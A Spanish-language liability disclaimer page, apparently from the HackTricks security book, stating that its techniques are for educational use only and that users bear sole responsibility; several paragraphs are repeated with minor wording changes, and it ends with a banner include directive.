> Los autores y editores no serán en ningún caso responsables de ninguna pérdida o daño, incluyendo sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja por pérdida de datos o beneficios originados por o en relación con el uso de este libro.
>
> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan actividades ilegales o poco éticas, y cualquier uso de la información contenida en este libro corre por cuenta y riesgo del usuario.
> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro corre por cuenta y riesgo del usuario.
>
> El usuario es el único responsable de cualquier acción emprendida basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos aquí descritos.
> El usuario es el único responsable de cualquier acción tomada basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos aquí descritos.
>
> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por daños, pérdidas o perjuicios que puedan resultar del uso de este libro o de cualquiera de las informaciones contenidas en él.
> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de las informaciones contenidas en el mismo.
{{#include ../banners/hacktricks-training.md}}